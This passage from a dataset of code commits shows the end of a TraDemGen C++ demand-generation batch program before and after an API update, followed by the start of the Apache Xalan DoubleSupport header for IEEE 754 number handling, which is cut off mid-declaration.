lGenerateDemandWithStatisticOrder);\n        assert (lNextRequest_ptr != NULL);\n\n        \/\/ Sanity check\n        const stdair::Duration_T lDuration =\n          lNextRequest_ptr->getRequestDateTime()\n          - lPoppedRequest.getRequestDateTime();\n        if (lDuration.total_milliseconds() < 0) {\n          STDAIR_LOG_ERROR (\"[\" << lDemandStreamKey\n                            << \"] The date-time of the generated event (\"\n                            << lNextRequest_ptr->getRequestDateTime()\n                            << \") is lower than the date-time \"\n                            << \"of the current event (\"\n                            << lPoppedRequest.getRequestDateTime() << \")\");\n          assert (false);\n        }\n\n        \/\/ DEBUG\n        STDAIR_LOG_DEBUG (\"[\" << lDemandStreamKey << \"] Added request: '\"\n                          << lNextRequest_ptr->describe()\n                          << \"'. Is queue done? \"\n                          << ioTrademgenService.isQueueDone());\n      }\n      \/\/ DEBUG\n      STDAIR_LOG_DEBUG (\"\");\n      \n      \/\/ Update the progress display\n      ++lProgressDisplay;\n    }\n\n    \/\/ Add the number of events to the statistics accumulator\n    lStatAccumulator (lActualNbOfEventsToBeGenerated);\n    \n    \/\/ Reset the service (including the event queue) for the next run\n    ioTrademgenService.reset();\n  }\n\n  \/\/ DEBUG\n  STDAIR_LOG_DEBUG (\"End of the simulation. Let us see some statistics for the \"\n                    << iNbOfRuns << \" runs.\");\n  std::ostringstream oStatStr;\n  stat_display (oStatStr, lStatAccumulator);\n  STDAIR_LOG_DEBUG (oStatStr.str());\n\n  \/\/ DEBUG\n  const std::string& lBOMStr = ioTrademgenService.csvDisplay();\n  STDAIR_LOG_DEBUG (lBOMStr);\n\n  \/\/ Close the output file\n  output.close();\n}\n\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ M A I N \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint main (int argc, char* argv[]) {\n\n  \/\/ State whether the BOM tree should be built-in or parsed from an input file\n  bool isBuiltin;\n\n  \/\/ Number of random draws to be generated (best if greater than 100)\n  NbOfRuns_T lNbOfRuns;\n    \n  \/\/ Input file name\n  stdair::Filename_T lInputFilename;\n\n  \/\/ Output file name\n  stdair::Filename_T lOutputFilename;\n\n  \/\/ Output log File\n  stdair::Filename_T lLogFilename;\n\n  \/\/ Call the command-line option parser\n  const int lOptionParserStatus = \n    readConfiguration (argc, argv, isBuiltin, lNbOfRuns, lInputFilename,\n                       lOutputFilename, lLogFilename);\n\n  if (lOptionParserStatus == K_TRADEMGEN_EARLY_RETURN_STATUS) {\n    return 0;\n  }\n\n  \/\/ Set the log parameters\n  std::ofstream logOutputFile;\n  \/\/ Open and clean the log outputfile\n  logOutputFile.open (lLogFilename.c_str());\n  logOutputFile.clear();\n\n  \/\/ Set up the log parameters\n  const stdair::BasLogParams lLogParams (stdair::LOG::DEBUG, logOutputFile);\n\n  \/\/ Initialise the TraDemGen service object\n  TRADEMGEN::TRADEMGEN_Service trademgenService (lLogParams);\n\n  \/\/ Check wether or not a (CSV) input file should be read\n  if (isBuiltin == true) {\n    \/\/ Create a sample DemandStream object, and insert it within the BOM tree\n    trademgenService.buildSampleBom();\n\n  } else {\n    \/\/ Create the DemandStream objects, and insert them within the BOM tree\n    trademgenService.parseAndLoad (lInputFilename);\n  }  \n\n  \/\/ Calculate the expected number of events to be generated.\n  generateDemand (trademgenService, lOutputFilename, lNbOfRuns);\n\n  \/\/ Close the Log outputFile\n  logOutputFile.close();\n\n  \/*\n    \\note: as that program is not intended to be run on a server in\n    production, it is better not to catch the exceptions. When it\n    happens (that an exception is throwned), that way we get the\n    call stack.\n  *\/\n\n  return 0;\n}\n<commit_msg>[TraDemGen] [dev] Updated the batch to the new trademgen API (the date time request generation method is no longer determined thanks to a boolean).<commit_after>\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Import section\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ STL\n#include <cassert>\n#include <sstream>\n#include <fstream>\n#include <vector>\n#include <list>\n#include <string>\n\/\/  \/\/\/\/ Boost (Extended STL) \/\/\/\/\n\/\/ Boost Tokeniser\n#include <boost\/tokenizer.hpp>\n\/\/ Boost Program Options\n#include <boost\/program_options.hpp>\n\/\/ Boost Accumulators\n#include <boost\/accumulators\/accumulators.hpp>\n#include <boost\/accumulators\/statistics.hpp>\n\/\/ Boost Progress\n\/\/#include <boost\/progress.hpp>\n\/\/ StdAir\n#include <stdair\/stdair_basic_types.hpp>\n#include <stdair\/basic\/ProgressStatusSet.hpp>\n#include <stdair\/basic\/DateGenerationMethod.hpp>\n#include <stdair\/bom\/EventStruct.hpp>\n#include <stdair\/bom\/EventQueue.hpp>\n#include <stdair\/bom\/BookingRequestStruct.hpp>\n#include <stdair\/bom\/BomDisplay.hpp>\n#include <stdair\/service\/Logger.hpp>\n\/\/ TraDemGen\n#include <trademgen\/TRADEMGEN_Service.hpp>\n#include <trademgen\/config\/trademgen-paths.hpp>\n#include <trademgen\/config\/trademgen-paths.hpp>\n\n\/\/ Aliases for namespaces\nnamespace ba = boost::accumulators;\n\n\/\/ \/\/\/\/\/\/\/\/ Specific type definitions \/\/\/\/\/\/\/\ntypedef unsigned int NbOfRuns_T;\n\n\/** Type definition to gather statistics. *\/\ntypedef ba::accumulator_set<double,\n                            ba::stats<ba::tag::min, ba::tag::max,\n                                      ba::tag::mean (ba::immediate),\n                                      ba::tag::sum,\n                                      ba::tag::variance> > stat_acc_type;\n\n\/\/ \/\/\/\/\/\/\/\/ Constants \/\/\/\/\/\/\n\/** Default name and location for the log file. *\/\nconst stdair::Filename_T K_TRADEMGEN_DEFAULT_LOG_FILENAME (\"trademgen.log\");\n\n\/** Default name and location for the (CSV) input file. *\/\nconst stdair::Filename_T K_TRADEMGEN_DEFAULT_INPUT_FILENAME (STDAIR_SAMPLE_DIR\n                                                             \"\/demand01.csv\");\n\n\/** Default name and location for the (CSV) output file. *\/\nconst stdair::Filename_T K_TRADEMGEN_DEFAULT_OUTPUT_FILENAME (\"request.csv\");\n\n\/** Default number of random draws to be generated (best if over 100). *\/\nconst NbOfRuns_T K_TRADEMGEN_DEFAULT_RANDOM_DRAWS = 1;\n\n\/** Default for the input type. It can be either built-in or provided by an\n    input file. That latter must then be given with the -i option. *\/\nconst bool K_TRADEMGEN_DEFAULT_BUILT_IN_INPUT = false;\n\n\/** Early return status (so that it can be differentiated from an error). *\/\nconst int K_TRADEMGEN_EARLY_RETURN_STATUS = 99;\n\n\n\/** Display the statistics held by the dedicated accumulator. *\/\nvoid stat_display (std::ostream& oStream, const stat_acc_type& iStatAcc) {\n\n  \/\/ Store current formatting flags of the output stream\n  std::ios::fmtflags oldFlags = oStream.flags();\n\n  \/\/\n  oStream.setf (std::ios::fixed);\n  \n  \/\/\n  oStream << \"Statistics for the demand generation runs: \" << std::endl;\n  oStream << \"  minimum   = \" << ba::min (iStatAcc) << std::endl;\n  oStream << \"  mean      = \" << ba::mean (iStatAcc) << std::endl;\n  oStream << \"  maximum   = \" << ba::max (iStatAcc) << std::endl;\n  oStream << \"  count     = \" << ba::count (iStatAcc) << std::endl;\n  oStream << \"  variance  = \" << ba::variance (iStatAcc) << std::endl;\n  \n  \/\/ Reset formatting flags of output stream\n  oStream.flags (oldFlags);\n}\n\n\/\/ \/\/\/\/\/\/\/\/\/ Parsing of Options & Configuration \/\/\/\/\/\/\/\/\/\n\/\/ A helper function to simplify the main part.\ntemplate<class T> std::ostream& operator<< (std::ostream& os,\n                                            const std::vector<T>& v) {\n  std::copy (v.begin(), v.end(), std::ostream_iterator<T> (std::cout, \" \")); \n  return os;\n}\n\n\/** Read and parse the command line options. *\/\nint readConfiguration (int argc, char* argv[], bool& ioIsBuiltin,\n                       NbOfRuns_T& ioRandomRuns,\n                       stdair::Filename_T& ioInputFilename,\n                       stdair::Filename_T& ioOutputFilename,\n                       stdair::Filename_T& ioLogFilename) {\n\n  \/\/ Default for the built-in input\n  ioIsBuiltin = K_TRADEMGEN_DEFAULT_BUILT_IN_INPUT;\n\n  \/\/ Declare a group of options that will be allowed only on command line\n  boost::program_options::options_description generic (\"Generic options\");\n  generic.add_options()\n    (\"prefix\", \"print installation prefix\")\n    (\"version,v\", \"print version string\")\n    (\"help,h\", \"produce help message\");\n    \n  \/\/ Declare a group of options that will be allowed both on command\n  \/\/ line and in config file\n  boost::program_options::options_description config (\"Configuration\");\n  config.add_options()\n    (\"builtin,b\",\n     \"The sample BOM tree can be either built-in or parsed from an input file. That latter must then be given with the -i\/--input option\")\n    (\"draws,d\",\n     boost::program_options::value<NbOfRuns_T>(&ioRandomRuns)->default_value(K_TRADEMGEN_DEFAULT_RANDOM_DRAWS), \n     \"Number of runs for the demand generations\")\n    (\"input,i\",\n     boost::program_options::value< std::string >(&ioInputFilename)->default_value(K_TRADEMGEN_DEFAULT_INPUT_FILENAME),\n     \"(CVS) input file for the demand distributions\")\n    (\"output,o\",\n     boost::program_options::value< std::string >(&ioOutputFilename)->default_value(K_TRADEMGEN_DEFAULT_OUTPUT_FILENAME),\n     \"(CVS) output file for the generated requests\")\n    (\"log,l\",\n     boost::program_options::value< std::string >(&ioLogFilename)->default_value(K_TRADEMGEN_DEFAULT_LOG_FILENAME),\n     \"Filepath for the logs\")\n    ;\n\n  \/\/ Hidden options, will be allowed both on command line and\n  \/\/ in config file, but will not be shown to the user.\n  boost::program_options::options_description hidden (\"Hidden options\");\n  hidden.add_options()\n    (\"copyright\",\n     boost::program_options::value< std::vector<std::string> >(),\n     \"Show the copyright (license)\");\n        \n  boost::program_options::options_description cmdline_options;\n  cmdline_options.add(generic).add(config).add(hidden);\n\n  boost::program_options::options_description config_file_options;\n  config_file_options.add(config).add(hidden);\n\n  boost::program_options::options_description visible (\"Allowed options\");\n  visible.add(generic).add(config);\n        \n  boost::program_options::positional_options_description p;\n  p.add (\"copyright\", -1);\n        \n  boost::program_options::variables_map vm;\n  boost::program_options::\n    store (boost::program_options::command_line_parser (argc, argv).\n           options (cmdline_options).positional(p).run(), vm);\n\n  std::ifstream ifs (\"trademgen.cfg\");\n  boost::program_options::store (parse_config_file (ifs, config_file_options),\n                                 vm);\n  boost::program_options::notify (vm);\n    \n  if (vm.count (\"help\")) {\n    std::cout << visible << std::endl;\n    return K_TRADEMGEN_EARLY_RETURN_STATUS;\n  }\n\n  if (vm.count (\"version\")) {\n    std::cout << PACKAGE_NAME << \", version \" << PACKAGE_VERSION << std::endl;\n    return K_TRADEMGEN_EARLY_RETURN_STATUS;\n  }\n\n  if (vm.count (\"prefix\")) {\n    std::cout << \"Installation prefix: \" << PREFIXDIR << std::endl;\n    return K_TRADEMGEN_EARLY_RETURN_STATUS;\n  }\n\n  if (vm.count (\"builtin\")) {\n    ioIsBuiltin = true;\n  }\n  const std::string isBuiltinStr = (ioIsBuiltin == true)?\"yes\":\"no\";\n  std::cout << \"The BOM should be built-in? \" << isBuiltinStr << std::endl;\n\n  if (ioIsBuiltin == false) {\n\n    \/\/ The BOM tree should be built from parsing a demand input file\n    if (vm.count (\"input\")) {\n      ioInputFilename = vm[\"input\"].as< std::string >();\n      std::cout << \"Input filename is: \" << ioInputFilename << std::endl;\n\n    } else {\n      \/\/ The built-in option is not selected. However, no demand input file\n      \/\/ is specified\n      std::cerr << \"Either one among the -b\/--builtin and -i\/--input \"\n                << \"options must be specified\" << std::endl;\n    }\n  }\n\n  if (vm.count (\"output\")) {\n    ioOutputFilename = vm[\"output\"].as< std::string >();\n    std::cout << \"Output filename is: \" << ioOutputFilename << std::endl;\n  }\n\n  if (vm.count (\"log\")) {\n    ioLogFilename = vm[\"log\"].as< std::string >();\n    std::cout << \"Log filename is: \" << ioLogFilename << std::endl;\n  }\n\n  \/\/\n  std::cout << \"The number of runs is: \" << ioRandomRuns << std::endl;\n  \n  return 0;\n}\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid generateDemand (TRADEMGEN::TRADEMGEN_Service& ioTrademgenService,\n                     const stdair::Filename_T& iOutputFilename,\n                     const NbOfRuns_T& iNbOfRuns) {\n\n  \/\/ Open and clean the .csv output file\n  std::ofstream output;\n  output.open (iOutputFilename.c_str());\n  output.clear();\n    \n  \/\/ Initialise the statistics collector\/accumulator\n  stat_acc_type lStatAccumulator;\n\n  \/\/ Retrieve the expected (mean value of the) number of events to be\n  \/\/ generated\n  const stdair::Count_T& lExpectedNbOfEventsToBeGenerated =\n    ioTrademgenService.getExpectedTotalNumberOfRequestsToBeGenerated();\n\n  \/\/ Initialise the (Boost) progress display object\n  boost::progress_display lProgressDisplay (lExpectedNbOfEventsToBeGenerated\n                                            * iNbOfRuns);\n\n  \/\/ Choose the algorithm to generate booking requests dates.\n  stdair::DateGenerationMethod lDateGenerationMethod ('P');\n  stdair::DateGenerationMethod::EN_DateGenerationMethod lENDateGenerationMethod =\n    lDateGenerationMethod.getMethod();\n\n  for (NbOfRuns_T runIdx = 1; runIdx <= iNbOfRuns; ++runIdx) {\n    \/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    output << \"Run number: \" << runIdx << std::endl;\n\n    \/**\n       Initialisation step.\n       <br>Generate the first event for each demand stream.\n    *\/\n    const stdair::Count_T& lActualNbOfEventsToBeGenerated =\n      ioTrademgenService.generateFirstRequests(lENDateGenerationMethod);\n\n    \/\/ DEBUG\n    STDAIR_LOG_DEBUG (\"[\" << runIdx << \"] Expected: \"\n                      << lExpectedNbOfEventsToBeGenerated << \", actual: \"\n                      << lActualNbOfEventsToBeGenerated);\n      \n    \/**\n       Main loop.\n       <ul>\n       <li>Pop a request and get its associated type\/demand stream.<\/li>\n       <li>Generate the next request for the same type\/demand stream.<\/li>\n       <\/ul>\n    *\/\n    while (ioTrademgenService.isQueueDone() == false) {\n\n      \/\/ Extract the next event from the event queue\n      stdair::EventStruct lEventStruct;\n      stdair::ProgressStatusSet lProgressStatusSet =\n        ioTrademgenService.popEvent (lEventStruct);\n      \n      \/\/ DEBUG\n      \/\/ STDAIR_LOG_DEBUG (\"[\" << runIdx << \"] Poped event: '\"\n      \/\/                   << lEventStruct.describe() << \"'.\");\n      \n      \/\/ Extract the corresponding demand\/booking request\n      const stdair::BookingRequestStruct& lPoppedRequest =\n        lEventStruct.getBookingRequest();\n        \n      \/\/ DEBUG\n      STDAIR_LOG_DEBUG (\"[\" << runIdx << \"] Poped booking request: '\"\n                        << lPoppedRequest.describe() << \"'.\");\n    \n      \/\/ Dump the request into the dedicated CSV file\n      \/\/ stdair::BomDisplay::csvDisplay (output, lPoppedRequest);\n        \n      \/\/ Retrieve the corresponding demand stream key\n      const stdair::DemandGeneratorKey_T& lDemandStreamKey =\n        lPoppedRequest.getDemandGeneratorKey();\n      \n      \/\/ Assess whether more events should be generated for that demand stream\n      const bool stillHavingRequestsToBeGenerated = ioTrademgenService.\n        stillHavingRequestsToBeGenerated (lDemandStreamKey,\n                                          lProgressStatusSet,\n                                          lENDateGenerationMethod);\n\n      \/\/ DEBUG\n      STDAIR_LOG_DEBUG (lProgressStatusSet.describe());\n      STDAIR_LOG_DEBUG (\"=> [\" << lDemandStreamKey << \"] is now processed. \"\n                        << \"Still generate events for that demand stream? \"\n                        << stillHavingRequestsToBeGenerated);\n    \n      \/\/ If there are still events to be generated for that demand stream,\n      \/\/ generate and add them to the event queue\n      if (stillHavingRequestsToBeGenerated == true) {\n        \n        stdair::BookingRequestPtr_T lNextRequest_ptr =\n          ioTrademgenService.generateNextRequest (lDemandStreamKey,\n                                                  lENDateGenerationMethod);\n        \n        assert (lNextRequest_ptr != NULL);\n\n        \/\/ Sanity check\n        const stdair::Duration_T lDuration =\n          lNextRequest_ptr->getRequestDateTime()\n          - lPoppedRequest.getRequestDateTime();\n        if (lDuration.total_milliseconds() < 0) {\n          STDAIR_LOG_ERROR (\"[\" << lDemandStreamKey\n                            << \"] The date-time of the generated event (\"\n                            << lNextRequest_ptr->getRequestDateTime()\n                            << \") is lower than the date-time \"\n                            << \"of the current event (\"\n                            << lPoppedRequest.getRequestDateTime() << \")\");\n          assert (false);\n        }\n\n        \/\/ DEBUG\n        STDAIR_LOG_DEBUG (\"[\" << lDemandStreamKey << \"] Added request: '\"\n                          << lNextRequest_ptr->describe()\n                          << \"'. Is queue done? \"\n                          << ioTrademgenService.isQueueDone());\n      }\n      \/\/ DEBUG\n      STDAIR_LOG_DEBUG (\"\");\n      \n      \/\/ Update the progress display\n      ++lProgressDisplay;\n    }\n\n    \/\/ Add the number of events to the statistics accumulator\n    lStatAccumulator (lActualNbOfEventsToBeGenerated);\n    \n    \/\/ Reset the service (including the event queue) for the next run\n    ioTrademgenService.reset();\n  }\n\n  \/\/ DEBUG\n  STDAIR_LOG_DEBUG (\"End of the simulation. Let us see some statistics for the \"\n                    << iNbOfRuns << \" runs.\");\n  std::ostringstream oStatStr;\n  stat_display (oStatStr, lStatAccumulator);\n  STDAIR_LOG_DEBUG (oStatStr.str());\n\n  \/\/ DEBUG\n  const std::string& lBOMStr = ioTrademgenService.csvDisplay();\n  STDAIR_LOG_DEBUG (lBOMStr);\n\n  \/\/ Close the output file\n  output.close();\n}\n\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ M A I N \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint main (int argc, char* argv[]) {\n\n  \/\/ State whether the BOM tree should be built-in or parsed from an input file\n  bool isBuiltin;\n\n  \/\/ Number of random draws to be generated (best if greater than 100)\n  NbOfRuns_T lNbOfRuns;\n    \n  \/\/ Input file name\n  stdair::Filename_T lInputFilename;\n\n  \/\/ Output file name\n  stdair::Filename_T lOutputFilename;\n\n  \/\/ Output log File\n  stdair::Filename_T lLogFilename;\n\n  \/\/ Call the command-line option parser\n  const int lOptionParserStatus = \n    readConfiguration (argc, argv, isBuiltin, lNbOfRuns, lInputFilename,\n                       lOutputFilename, lLogFilename);\n\n  if (lOptionParserStatus == K_TRADEMGEN_EARLY_RETURN_STATUS) {\n    return 0;\n  }\n\n  \/\/ Set the log parameters\n  std::ofstream logOutputFile;\n  \/\/ Open and clean the log outputfile\n  logOutputFile.open (lLogFilename.c_str());\n  logOutputFile.clear();\n\n  \/\/ Set up the log parameters\n  const stdair::BasLogParams lLogParams (stdair::LOG::DEBUG, logOutputFile);\n\n  \/\/ Initialise the TraDemGen service object\n  TRADEMGEN::TRADEMGEN_Service trademgenService (lLogParams);\n\n  \/\/ Check wether or not a (CSV) input file should be read\n  if (isBuiltin == true) {\n    \/\/ Create a sample DemandStream object, and insert it within the BOM tree\n    trademgenService.buildSampleBom();\n\n  } else {\n    \/\/ Create the DemandStream objects, and insert them within the BOM tree\n    trademgenService.parseAndLoad (lInputFilename);\n  }  \n\n  \/\/ Calculate the expected number of events to be generated.\n  generateDemand (trademgenService, lOutputFilename, lNbOfRuns);\n\n  \/\/ Close the Log outputFile\n  logOutputFile.close();\n\n  \/*\n    \\note: as that program is not intended to be run on a server in\n    production, it is better not to catch the exceptions. When it\n    happens (that an exception is throwned), that way we get the\n    call stack.\n  *\/\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(DOUBLESUPPORT_HEADER_GUARD_1357924680)\n#define DOUBLESUPPORT_HEADER_GUARD_1357924680\n\n\n\n\/\/ Base include file.  Must be first.\n#include <PlatformSupport\/PlatformSupportDefinitions.hpp>\n\n\n\n#include <functional>\n\n\n\n#include <XalanDOM\/XalanDOMString.hpp>\n\n\n\n\/\/ A class to help us support IEEE 754.\nclass XALAN_PLATFORMSUPPORT_EXPORT DoubleSupport\n{\npublic:\n\n\t\/\/ Use these functions to determine if a value represents one of these\n\t\/\/ values.  It seems that under some architectures, NaN will compare\n\t\/\/ as equal to any number, which is a big problem.  Hence these helper\n\t\/\/ functions.\n\n\t\/**\n\t * Determine if target is not a number\n\t * \n\t * @param theNumber target number\n\t * @return true if target represents the \"not a number\" value\n\t *\/\n\tstatic bool\n\tisNaN(double\ttheNumber)\n\t{\n\t\t\/\/ Compare the two DWORDs of the double as unsigned longs.\n\t\tconst unsigned long* const\ttheFirstDWORD =\n\t\t\treinterpret_cast<const unsigned long*>(&theNumber);\n\n\t\tconst unsigned long* const\ttheSecondDWORD =\n\t\t\t\t\t\t\ttheFirstDWORD + 1;\n\n\t\treturn *theFirstDWORD == *s_NaNFirstDWORD &&\n\t\t\t   *theSecondDWORD == *s_NaNSecondDWORD;\n\t}\n\n\t\/**\n\t * Determine if target is positive infinity\n\t * \n\t * @param theNumber target number\n\t * @return true if target represents the value for positive infinity\n\t *\/\n\tstatic bool\n\tisPositiveInfinity(double\ttheNumber)\n\t{\n\t\treturn !isNaN(theNumber) && theNumber == s_positiveInfinity;\n\t}\n\n\t\/**\n\t * Determine if target is negative infinity\n\t * \n\t * @param theNumber target number\n\t * @return true if target represents the value for negative infinity\n\t *\/\n\tstatic bool\n\tisNegativeInfinity(double\ttheNumber)\n\t{\n\t\treturn !isNaN(theNumber) && theNumber == s_negativeInfinity;\n\t}\n\n\t\/\/ These can be used to initialize values, but should not\n\t\/\/ be used to do equality comparisons, as == may fail on\n\t\/\/ some platforms.\n\t\/\/\n\n\t\/**\n\t * Double value that represents \"not a number\"\n\t * \n\t * @return \"not a number\" value\n\t *\/\n\tstatic double\n\tgetNaN()\n\t{\n\t\treturn s_NaN;\n\t}\n\n\t\/**\n\t * Double value that represents positive infinity\n\t * \n\t * @return positive infinity value\n\t *\/\n\tstatic double\n\tgetPositiveInfinity()\n\t{\n\t\treturn s_positiveInfinity;\n\t}\n\n\t\/**\n\t * Double value that represents negative infinity\n\t * \n\t * @return negative infinity value\n\t *\/\n\tstatic double\n\tgetNegativeInfinity()\n\t{\n\t\treturn s_negativeInfinity;\n\t}\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tequal(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tnotEqual(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tlessThan(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tlessThanOrEqual(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tgreaterThan(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tgreaterThanOrEqual(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Add two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to add\n\t * @param theRHS a number to add\n\t * @return the result of the addition\n\t *\/\n\tstatic double\n\tadd(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Subtract two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to subtract\n\t * @param theRHS a number to subtract\n\t * @return the result of the subtraction\n\t *\/\n\tstatic double\n\tsubtract(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Multiply two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to multiply\n\t * @param theRHS a number to multiply\n\t * @return the result of the multiplication\n\t *\/\n\tstatic double\n\tmultiply(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Divide two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to divide\n\t * @param theRHS a number to divide\n\t * @return the result of the division\n\t *\/\n\tstatic double\n\tdivide(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Determine the modulus two double values,\n\t * taking into account the fact that we must\n\t * support IEEE 754\n\t *\n\t * @param theLHS a number to divide\n\t * @param theRHS a number to divide\n\t * @return the result of the modulus\n\t *\/\n\tstatic double\n\tmodulus(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Determine the negative of a double value,\n\t * taking into account the fact that we must\n\t * support IEEE 754\n\t *\n\t * @param theDouble a number to negate\n\t * @return the result of the negation\n\t *\/\n\tstatic double\n\tnegative(double\ttheDouble);\n\n\t\/\/ Some functors to do the same thing.  This is for\n\t\/\/ STL integration...\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct equalFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct equalFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn equal(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct notEqualFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct notEqualFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn notEqual(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct lessThanFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct lessThanFunction : public std::binary_function<const double&, const double&, 